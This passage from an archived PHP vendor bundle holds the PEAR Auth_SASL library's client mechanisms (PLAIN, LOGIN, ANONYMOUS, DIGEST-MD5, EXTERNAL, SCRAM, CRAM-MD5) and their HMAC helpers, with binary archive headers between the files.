{
    /**
    * Returns PLAIN response
    *
    * @param  string $authcid   Authentication id (username)
    * @param  string $pass      Password
    * @param  string $authzid   Autorization id
    * @return string            PLAIN Response
    */
    function getResponse($authcid, $pass, $authzid = '')
    {
        return $authzid . chr(0) . $authcid . chr(0) . $pass;
    }
}
?>
PK
h�\�<� OO)vendor/pear/auth_sasl/Auth/SASL/Login.phpnu�[���<?php
// +-----------------------------------------------------------------------+ 
// | Copyright (c) 2002-2003 Richard Heyes                                 | 
// | All rights reserved.                                                  | 
// |                                                                       | 
// | Redistribution and use in source and binary forms, with or without    | 
// | modification, are permitted provided that the following conditions    | 
// | are met:                                                              | 
// |                                                                       | 
// | o Redistributions of source code must retain the above copyright      | 
// |   notice, this list of conditions and the following disclaimer.       | 
// | o Redistributions in binary form must reproduce the above copyright   | 
// |   notice, this list of conditions and the following disclaimer in the | 
// |   documentation and/or other materials provided with the distribution.| 
// | o The names of the authors may not be used to endorse or promote      | 
// |   products derived from this software without specific prior written  | 
// |   permission.                                                         | 
// |                                                                       | 
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   | 
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     | 
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | 
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  | 
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | 
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      | 
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | 
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | 
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   | 
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | 
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  | 
// |                                                                       | 
// +-----------------------------------------------------------------------+ 
// | Author: Richard Heyes <richard@php.net>                               | 
// +-----------------------------------------------------------------------+ 
// 
// $Id$

/**
* This is technically not a SASL mechanism, however
* it's used by Net_Sieve, Net_Cyrus and potentially
* other protocols , so here is a good place to abstract
* it.
*
* @author  Richard Heyes <richard@php.net>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

require_once('Auth/SASL/Common.php');

class Auth_SASL_Login extends Auth_SASL_Common
{
    /**
    * Pseudo SASL LOGIN mechanism
    *
    * @param  string $user Username
    * @param  string $pass Password
    * @return string       LOGIN string
    */
    function getResponse($user, $pass)
    {
        return sprintf('LOGIN %s %s', $user, $pass);
    }
}
?>PK
h�\�J�}
}
-vendor/pear/auth_sasl/Auth/SASL/Anonymous.phpnu�[���<?php
// +-----------------------------------------------------------------------+ 
// | Copyright (c) 2002-2003 Richard Heyes                                 | 
// | All rights reserved.                                                  | 
// |                                                                       | 
// | Redistribution and use in source and binary forms, with or without    | 
// | modification, are permitted provided that the following conditions    | 
// | are met:                                                              | 
// |                                                                       | 
// | o Redistributions of source code must retain the above copyright      | 
// |   notice, this list of conditions and the following disclaimer.       | 
// | o Redistributions in binary form must reproduce the above copyright   | 
// |   notice, this list of conditions and the following disclaimer in the | 
// |   documentation and/or other materials provided with the distribution.| 
// | o The names of the authors may not be used to endorse or promote      | 
// |   products derived from this software without specific prior written  | 
// |   permission.                                                         | 
// |                                                                       | 
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   | 
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     | 
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | 
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  | 
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | 
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      | 
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | 
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | 
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   | 
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | 
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  | 
// |                                                                       | 
// +-----------------------------------------------------------------------+ 
// | Author: Richard Heyes <richard@php.net>                               | 
// +-----------------------------------------------------------------------+ 
// 
// $Id$

/**
* Implmentation of ANONYMOUS SASL mechanism
*
* @author  Richard Heyes <richard@php.net>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

require_once('Auth/SASL/Common.php');

class Auth_SASL_Anonymous extends Auth_SASL_Common
{
    /**
    * Not much to do here except return the token supplied.
    * No encoding, hashing or encryption takes place for this
    * mechanism, simply one of:
    *  o An email address
    *  o An opaque string not containing "@" that can be interpreted
    *    by the sysadmin
    *  o Nothing
    *
    * We could have some logic here for the second option, but this
    * would by no means create something interpretable.
    *
    * @param  string $token Optional email address or string to provide
    *                       as trace information.
    * @return string        The unaltered input token
    */
    function getResponse($token = '')
    {
        return $token;
    }
}
?>PK
h�\%ׅtg!g!-vendor/pear/auth_sasl/Auth/SASL/DigestMD5.phpnu�[���<?php
// +-----------------------------------------------------------------------+ 
// | Copyright (c) 2002-2003 Richard Heyes                                 | 
// | All rights reserved.                                                  | 
// |                                                                       | 
// | Redistribution and use in source and binary forms, with or without    | 
// | modification, are permitted provided that the following conditions    | 
// | are met:                                                              | 
// |                                                                       | 
// | o Redistributions of source code must retain the above copyright      | 
// |   notice, this list of conditions and the following disclaimer.       | 
// | o Redistributions in binary form must reproduce the above copyright   | 
// |   notice, this list of conditions and the following disclaimer in the | 
// |   documentation and/or other materials provided with the distribution.| 
// | o The names of the authors may not be used to endorse or promote      | 
// |   products derived from this software without specific prior written  | 
// |   permission.                                                         | 
// |                                                                       | 
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   | 
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     | 
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | 
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  | 
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | 
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      | 
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | 
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | 
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   | 
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | 
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  | 
// |                                                                       | 
// +-----------------------------------------------------------------------+ 
// | Author: Richard Heyes <richard@php.net>                               | 
// +-----------------------------------------------------------------------+ 
// 
// $Id$

/**
* Implmentation of DIGEST-MD5 SASL mechanism
*
* @author  Richard Heyes <richard@php.net>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

require_once('Auth/SASL/Common.php');

class Auth_SASL_DigestMD5 extends Auth_SASL_Common
{
    /**
    * Provides the (main) client response for DIGEST-MD5
    * requires a few extra parameters than the other
    * mechanisms, which are unavoidable.
    * 
    * @param  string $authcid   Authentication id (username)
    * @param  string $pass      Password
    * @param  string $challenge The digest challenge sent by the server
    * @param  string $hostname  The hostname of the machine you're connecting to
    * @param  string $service   The servicename (eg. imap, pop, acap etc)
    * @param  string $authzid   Authorization id (username to proxy as)
    * @return string            The digest response (NOT base64 encoded)
    * @access public
    */
    function getResponse($authcid, $pass, $challenge, $hostname, $service, $authzid = '')
    {
        $challenge = $this->_parseChallenge($challenge);
        $authzid_string = '';
        if ($authzid != '') {
            $authzid_string = ',authzid="' . $authzid . '"'; 
        }

        if (!empty($challenge)) {
            $cnonce         = $this->_getCnonce();
            $digest_uri     = sprintf('%s/%s', $service, $hostname);
            $response_value = $this->_getResponseValue($authcid, $pass, $challenge['realm'], $challenge['nonce'], $cnonce, $digest_uri, $authzid);

            if ($challenge['realm']) {
                return sprintf('username="%s",realm="%s"' . $authzid_string  .
',nonce="%s",cnonce="%s",nc=00000001,qop=auth,digest-uri="%s",response=%s,maxbuf=%d', $authcid, $challenge['realm'], $challenge['nonce'], $cnonce, $digest_uri, $response_value, $challenge['maxbuf']);
            } else {
                return sprintf('username="%s"' . $authzid_string  . ',nonce="%s",cnonce="%s",nc=00000001,qop=auth,digest-uri="%s",response=%s,maxbuf=%d', $authcid, $challenge['nonce'], $cnonce, $digest_uri, $response_value, $challenge['maxbuf']);
            }
        } else {
            return PEAR::raiseError('Invalid digest challenge');
        }
    }
    
    /**
    * Parses and verifies the digest challenge*
    *
    * @param  string $challenge The digest challenge
    * @return array             The parsed challenge as an assoc
    *                           array in the form "directive => value".
    * @access private
    */
    function _parseChallenge($challenge)
    {
        $tokens = array();
        while (preg_match('/^([a-z-]+)=("[^"]+(?<!\\\)"|[^,]+)/i', $challenge, $matches)) {

            // Ignore these as per rfc2831
            if ($matches[1] == 'opaque' OR $matches[1] == 'domain') {
                $challenge = substr($challenge, strlen($matches[0]) + 1);
                continue;
            }

            // Allowed multiple "realm" and "auth-param"
            if (!empty($tokens[$matches[1]]) AND ($matches[1] == 'realm' OR $matches[1] == 'auth-param')) {
                if (is_array($tokens[$matches[1]])) {
                    $tokens[$matches[1]][] = preg_replace('/^"(.*)"$/', '\\1', $matches[2]);
                } else {
                    $tokens[$matches[1]] = array($tokens[$matches[1]], preg_replace('/^"(.*)"$/', '\\1', $matches[2]));
                }

            // Any other multiple instance = failure
            } elseif (!empty($tokens[$matches[1]])) {
                $tokens = array();
                break;

            } else {
                $tokens[$matches[1]] = preg_replace('/^"(.*)"$/', '\\1', $matches[2]);
            }

            // Remove the just parsed directive from the challenge
            $challenge = substr($challenge, strlen($matches[0]) + 1);
        }

        /**
        * Defaults and required directives
        */
        // Realm
        if (empty($tokens['realm'])) {
            $tokens['realm'] = "";
        }

        // Maxbuf
        if (empty($tokens['maxbuf'])) {
            $tokens['maxbuf'] = 65536;
        }

        // Required: nonce, algorithm
        if (empty($tokens['nonce']) OR empty($tokens['algorithm'])) {
            return array();
        }

        return $tokens;
    }

    /**
    * Creates the response= part of the digest response
    *
    * @param  string $authcid    Authentication id (username)
    * @param  string $pass       Password
    * @param  string $realm      Realm as provided by the server
    * @param  string $nonce      Nonce as provided by the server
    * @param  string $cnonce     Client nonce
    * @param  string $digest_uri The digest-uri= value part of the response
    * @param  string $authzid    Authorization id
    * @return string             The response= part of the digest response
    * @access private
    */    
    function _getResponseValue($authcid, $pass, $realm, $nonce, $cnonce, $digest_uri, $authzid = '')
    {
        if ($authzid == '') {
            $A1 = sprintf('%s:%s:%s', pack('H32', md5(sprintf('%s:%s:%s', $authcid, $realm, $pass))), $nonce, $cnonce);
        } else {
            $A1 = sprintf('%s:%s:%s:%s', pack('H32', md5(sprintf('%s:%s:%s', $authcid, $realm, $pass))), $nonce, $cnonce, $authzid);
        }
        $A2 = 'AUTHENTICATE:' . $digest_uri;
        return md5(sprintf('%s:%s:00000001:%s:auth:%s', md5($A1), $nonce, $cnonce, md5($A2)));
    }

    /**
    * Creates the client nonce for the response
    *
    * @return string  The cnonce value
    * @access private
    */
    function _getCnonce()
    {
        if (@file_exists('/dev/urandom') && $fd = @fopen('/dev/urandom', 'r')) {
            return base64_encode(fread($fd, 32));

        } elseif (@file_exists('/dev/random') && $fd = @fopen('/dev/random', 'r')) {
            return base64_encode(fread($fd, 32));

        } else {
            $str = '';
            for ($i=0; $i<32; $i++) {
                $str .= chr(mt_rand(0, 255));
            }
            
            return base64_encode($str);
        }
    }
}
?>
PK
h�\�T�*vendor/pear/auth_sasl/Auth/SASL/Common.phpnu�[���<?php
// +-----------------------------------------------------------------------+
// | Copyright (c) 2002-2003 Richard Heyes                                 |
// | All rights reserved.                                                  |
// |                                                                       |
// | Redistribution and use in source and binary forms, with or without    |
// | modification, are permitted provided that the following conditions    |
// | are met:                                                              |
// |                                                                       |
// | o Redistributions of source code must retain the above copyright      |
// |   notice, this list of conditions and the following disclaimer.       |
// | o Redistributions in binary form must reproduce the above copyright   |
// |   notice, this list of conditions and the following disclaimer in the |
// |   documentation and/or other materials provided with the distribution.|
// | o The names of the authors may not be used to endorse or promote      |
// |   products derived from this software without specific prior written  |
// |   permission.                                                         |
// |                                                                       |
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   |
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     |
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR |
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  |
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, |
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      |
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   |
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  |
// |                                                                       |
// +-----------------------------------------------------------------------+
// | Author: Richard Heyes <richard@php.net>                               |
// +-----------------------------------------------------------------------+
//
// $Id$

/**
* Common functionality to SASL mechanisms
*
* @author  Richard Heyes <richard@php.net>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

class Auth_SASL_Common
{
    /**
    * Function which implements HMAC MD5 digest
    *
    * @param  string $key  The secret key
    * @param  string $data The data to hash
    * @param  bool $raw_output Whether the digest is returned in binary or hexadecimal format.
    *
    * @return string       The HMAC-MD5 digest
    */
    function _HMAC_MD5($key, $data, $raw_output = FALSE)
    {
        if (strlen($key) > 64) {
            $key = pack('H32', md5($key));
        }

        if (strlen($key) < 64) {
            $key = str_pad($key, 64, chr(0));
        }

        $k_ipad = substr($key, 0, 64) ^ str_repeat(chr(0x36), 64);
        $k_opad = substr($key, 0, 64) ^ str_repeat(chr(0x5C), 64);

        $inner  = pack('H32', md5($k_ipad . $data));
        $digest = md5($k_opad . $inner, $raw_output);

        return $digest;
    }

    /**
    * Function which implements HMAC-SHA-1 digest
    *
    * @param  string $key  The secret key
    * @param  string $data The data to hash
    * @param  bool $raw_output Whether the digest is returned in binary or hexadecimal format.
    * @return string       The HMAC-SHA-1 digest
    * @author Jehan <jehan.marmottard@gmail.com>
    * @access protected
    */
    protected function _HMAC_SHA1($key, $data, $raw_output = FALSE)
    {
        if (strlen($key) > 64) {
            $key = sha1($key, TRUE);
        }

        if (strlen($key) < 64) {
            $key = str_pad($key, 64, chr(0));
        }

        $k_ipad = substr($key, 0, 64) ^ str_repeat(chr(0x36), 64);
        $k_opad = substr($key, 0, 64) ^ str_repeat(chr(0x5C), 64);

        $inner  = pack('H40', sha1($k_ipad . $data));
        $digest = sha1($k_opad . $inner, $raw_output);

         return $digest;
     }
}
?>
PK
h�\vR�r,,,vendor/pear/auth_sasl/Auth/SASL/External.phpnu�[���<?php
// +-----------------------------------------------------------------------+ 
// | Copyright (c) 2008 Christoph Schulz                                   | 
// | All rights reserved.                                                  | 
// |                                                                       | 
// | Redistribution and use in source and binary forms, with or without    | 
// | modification, are permitted provided that the following conditions    | 
// | are met:                                                              | 
// |                                                                       | 
// | o Redistributions of source code must retain the above copyright      | 
// |   notice, this list of conditions and the following disclaimer.       | 
// | o Redistributions in binary form must reproduce the above copyright   | 
// |   notice, this list of conditions and the following disclaimer in the | 
// |   documentation and/or other materials provided with the distribution.| 
// | o The names of the authors may not be used to endorse or promote      | 
// |   products derived from this software without specific prior written  | 
// |   permission.                                                         | 
// |                                                                       | 
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   | 
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     | 
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | 
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  | 
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | 
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      | 
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | 
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | 
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   | 
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | 
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  | 
// |                                                                       | 
// +-----------------------------------------------------------------------+ 
// | Author: Christoph Schulz <develop@kristov.de>                         | 
// +-----------------------------------------------------------------------+ 
// 
// $Id$

/**
* Implmentation of EXTERNAL SASL mechanism
*
* @author  Christoph Schulz <develop@kristov.de>
* @access  public
* @version 1.0.3
* @package Auth_SASL
*/

require_once('Auth/SASL/Common.php');

class Auth_SASL_External extends Auth_SASL_Common
{
    /**
    * Returns EXTERNAL response
    *
    * @param  string $authcid   Authentication id (username)
    * @param  string $pass      Password
    * @param  string $authzid   Autorization id
    * @return string            EXTERNAL Response
    */
    function getResponse($authcid, $pass, $authzid = '')
    {
        return $authzid;
    }
}
?>
PK
h�\ќ��0�0)vendor/pear/auth_sasl/Auth/SASL/SCRAM.phpnu�[���<?php
// +-----------------------------------------------------------------------+
// | Copyright (c) 2011 Jehan                                              |
// | All rights reserved.                                                  |
// |                                                                       |
// | Redistribution and use in source and binary forms, with or without    |
// | modification, are permitted provided that the following conditions    |
// | are met:                                                              |
// |                                                                       |
// | o Redistributions of source code must retain the above copyright      |
// |   notice, this list of conditions and the following disclaimer.       |
// | o Redistributions in binary form must reproduce the above copyright   |
// |   notice, this list of conditions and the following disclaimer in the |
// |   documentation and/or other materials provided with the distribution.|
// | o The names of the authors may not be used to endorse or promote      |
// |   products derived from this software without specific prior written  |
// |   permission.                                                         |
// |                                                                       |
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   |
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     |
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR |
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  |
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, |
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      |
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   |
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  |
// |                                                                       |
// +-----------------------------------------------------------------------+
// | Author: Jehan <jehan.marmottard@gmail.com                             |
// +-----------------------------------------------------------------------+
//
// $Id$

/**
* Implementation of SCRAM-* SASL mechanisms.
* SCRAM mechanisms have 3 main steps (initial response, response to the server challenge, then server signature
* verification) which keep state-awareness. Therefore a single class instanciation must be done and reused for the whole
* authentication process.
*
* @author  Jehan <jehan.marmottard@gmail.com>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

require_once('Auth/SASL/Common.php');

class Auth_SASL_SCRAM extends Auth_SASL_Common
{
    /**
    * Construct a SCRAM-H client where 'H' is a cryptographic hash function.
    *
    * @param string $hash The name cryptographic hash function 'H' as registered by IANA in the "Hash Function Textual
    * Names" registry.
    * @link http://www.iana.org/assignments/hash-function-text-names/hash-function-text-names.xml "Hash Function Textual
    * Names"
    * format of core PHP hash function.
    * @access public
    */
    function __construct($hash)
    {
        // Though I could be strict, I will actually also accept the naming used in the PHP core hash framework.
        // For instance "sha1" is accepted, while the registered hash name should be "SHA-1".
        $hash = strtolower($hash);
        $hashes = array('md2' => 'md2',
            'md5' => 'md5',
            'sha-1' => 'sha1',
            'sha1' => 'sha1',
            'sha-224' > 'sha224',
            'sha224' > 'sha224',
            'sha-256' => 'sha256',
            'sha256' => 'sha256',
            'sha-384' => 'sha384',
            'sha384' => 'sha384',
            'sha-512' => 'sha512',
            'sha512' => 'sha512');
        if (function_exists('hash_hmac') && isset($hashes[$hash]))
        {
            $this->hash = create_function('$data', 'return hash("' . $hashes[$hash] . '", $data, TRUE);');
            $this->hmac = create_function('$key,$str,$raw', 'return hash_hmac("' . $hashes[$hash] . '", $str, $key, $raw);');
        }
        elseif ($hash == 'md5')
        {
            $this->hash = create_function('$data', 'return md5($data, true);');
            $this->hmac = array($this, '_HMAC_MD5');
        }
        elseif (in_array($hash, array('sha1', 'sha-1')))
        {
            $this->hash = create_function('$data', 'return sha1($data, true);');
            $this->hmac = array($this, '_HMAC_SHA1');
        }
        else
            return PEAR::raiseError('Invalid SASL mechanism type');
    }

    /**
    * Provides the (main) client response for SCRAM-H.
    *
    * @param  string $authcid   Authentication id (username)
    * @param  string $pass      Password
    * @param  string $challenge The challenge sent by the server.
    * If the challenge is NULL or an empty string, the result will be the "initial response".
    * @param  string $authzid   Authorization id (username to proxy as)
    * @return string|false      The response (binary, NOT base64 encoded)
    * @access public
    */
    public function getResponse($authcid, $pass, $challenge = NULL, $authzid = NULL)
    {
        $authcid = $this->_formatName($authcid);
        if (empty($authcid))
        {
            return false;
        }
        if (!empty($authzid))
        {
            $authzid = $this->_formatName($authzid);
            if (empty($authzid))
            {
                return false;
            }
        }

        if (empty($challenge))
        {
            return $this->_generateInitialResponse($authcid, $authzid);
        }
        else
        {
            return $this->_generateResponse($challenge, $pass);
        }

    }

    /**
    * Prepare a name for inclusion in a SCRAM response.
    *
    * @param string $username a name to be prepared.
    * @return string the reformated name.
    * @access private
    */
    private function _formatName($username)
    {
        // TODO: prepare through the SASLprep profile of the stringprep algorithm.
        // See RFC-4013.

        $username = str_replace('=', '=3D', $username);
        $username = str_replace(',', '=2C', $username);
        return $username;
    }

    /**
    * Generate the initial response which can be either sent directly in the first message or as a response to an empty
    * server challenge.
    *
    * @param string $authcid Prepared authentication identity.
    * @param string $authzid Prepared authorization identity.
    * @return string The SCRAM response to send.
    * @access private
    */
    private function _generateInitialResponse($authcid, $authzid)
    {
        $init_rep = '';
        $gs2_cbind_flag = 'n,'; // TODO: support channel binding.
        $this->gs2_header = $gs2_cbind_flag . (!empty($authzid)? 'a=' . $authzid : '') . ',';

        // I must generate a client nonce and "save" it for later comparison on second response.
        $this->cnonce = $this->_getCnonce();
        // XXX: in the future, when mandatory and/or optional extensions are defined in any updated RFC,
        // this message can be updated.
        $this->first_message_bare = 'n=' . $authcid . ',r=' . $this->cnonce;
        return $this->gs2_header . $this->first_message_bare;
    }

    /**
    * Parses and verifies a non-empty SCRAM challenge.
    *
    * @param  string $challenge The SCRAM challenge
    * @return string|false      The response to send; false in case of wrong challenge or if an initial response has not
    * been generated first.
    * @access private
    */
    private function _generateResponse($challenge, $password)
    {
        // XXX: as I don't support mandatory extension, I would fail on them.
        // And I simply ignore any optional extension.
        $server_message_regexp = "#^r=([\x21-\x2B\x2D-\x7E]+),s=((?:[A-Za-z0-9/+]{4})*(?:[A-Za-z0-9]{3}=|[A-Xa-z0-9]{2}==)?),i=([0-9]*)(,[A-Za-z]=[^,])*$#";
        if (!isset($this->cnonce, $this->gs2_header)
            || !preg_match($server_message_regexp, $challenge, $matches))
        {
            return false;
        }
        $nonce = $matches[1];
        $salt = base64_decode($matches[2]);
        if (!$salt)
        {
            // Invalid Base64.
            return false;
        }
        $i = intval($matches[3]);

        $cnonce = substr($nonce, 0, strlen($this->cnonce));
        if ($cnonce <> $this->cnonce)
        {
            // Invalid challenge! Are we under attack?
            return false;
        }

        $channel_binding = 'c=' . base64_encode($this->gs2_header); // TODO: support channel binding.
        $final_message = $channel_binding . ',r=' . $nonce; // XXX: no extension.

        // TODO: $password = $this->normalize($password); // SASLprep profile of stringprep.
        $saltedPassword = $this->hi($password, $salt, $i);
        $this->saltedPassword = $saltedPassword;
        $clientKey = call_user_func($this->hmac, $saltedPassword, "Client Key", TRUE);
        $storedKey = call_user_func($this->hash, $clientKey, TRUE);
        $authMessage = $this->first_message_bare . ',' . $challenge . ',' . $final_message;
        $this->authMessage = $authMessage;
        $clientSignature = call_user_func($this->hmac, $storedKey, $authMessage, TRUE);
        $clientProof = $clientKey ^ $clientSignature;
        $proof = ',p=' . base64_encode($clientProof);

        return $final_message . $proof;
    }

    /**
    * SCRAM has also a server verification step. On a successful outcome, it will send additional data which must
    * absolutely be checked against this function. If this fails, the entity which we are communicating with is probably
    * not the server as it has not access to your ServerKey.
    *
    * @param string $data The additional data sent along a successful outcome.
    * @return bool Whether the server has been authenticated.
    * If false, the client must close the connection and consider to be under a MITM attack.
    * @access public
    */
    public function processOutcome($data)
    {
        $verifier_regexp = '#^v=((?:[A-Za-z0-9/+]{4})*(?:[A-Za-z0-9]{3}=|[A-Xa-z0-9]{2}==)?)$#';
        if (!isset($this->saltedPassword, $this->authMessage)
            || !preg_match($verifier_regexp, $data, $matches))
        {
            // This cannot be an outcome, you never sent the challenge's response.
            return false;
        }

        $verifier = $matches[1];
        $proposed_serverSignature = base64_decode($verifier);
        $serverKey = call_user_func($this->hmac, $this->saltedPassword, "Server Key", true);
        $serverSignature = call_user_func($this->hmac, $serverKey, $this->authMessage, TRUE);
        return ($proposed_serverSignature === $serverSignature);
    }

    /**
    * Hi() call, which is essentially PBKDF2 (RFC-2898) with HMAC-H() as the pseudorandom function.
    *
    * @param string $str The string to hash.
    * @param string $hash The hash value.
    * @param int $i The iteration count.
    * @access private
    */
    private function hi($str, $salt, $i)
    {
        $int1 = "\0\0\0\1";
        $ui = call_user_func($this->hmac, $str, $salt . $int1, true);
        $result = $ui;
        for ($k = 1; $k < $i; $k++)
        {
            $ui = call_user_func($this->hmac, $str, $ui, true);
            $result = $result ^ $ui;
        }
        return $result;
    }


    /**
    * Creates the client nonce for the response
    *
    * @return string  The cnonce value
    * @access private
    * @author  Richard Heyes <richard@php.net>
    */
    private function _getCnonce()
    {
        // TODO: I reused the nonce function from the DigestMD5 class.
        // I should probably make this a protected function in Common.
        if (@file_exists('/dev/urandom') && $fd = @fopen('/dev/urandom', 'r')) {
            return base64_encode(fread($fd, 32));

        } elseif (@file_exists('/dev/random') && $fd = @fopen('/dev/random', 'r')) {
            return base64_encode(fread($fd, 32));

        } else {
            $str = '';
            for ($i=0; $i<32; $i++) {
                $str .= chr(mt_rand(0, 255));
            }

            return base64_encode($str);
        }
    }

}

?>
PK
h�\P(~�T
T
+vendor/pear/auth_sasl/Auth/SASL/CramMD5.phpnu�[���<?php
// +-----------------------------------------------------------------------+ 
// | Copyright (c) 2002-2003 Richard Heyes                                 | 
// | All rights reserved.                                                  | 
// |                                                                       | 
// | Redistribution and use in source and binary forms, with or without    | 
// | modification, are permitted provided that the following conditions    | 
// | are met:                                                              | 
// |                                                                       | 
// | o Redistributions of source code must retain the above copyright      | 
// |   notice, this list of conditions and the following disclaimer.       | 
// | o Redistributions in binary form must reproduce the above copyright   | 
// |   notice, this list of conditions and the following disclaimer in the | 
// |   documentation and/or other materials provided with the distribution.| 
// | o The names of the authors may not be used to endorse or promote      | 
// |   products derived from this software without specific prior written  | 
// |   permission.                                                         | 
// |                                                                       | 
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   | 
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     | 
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | 
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  | 
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | 
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      | 
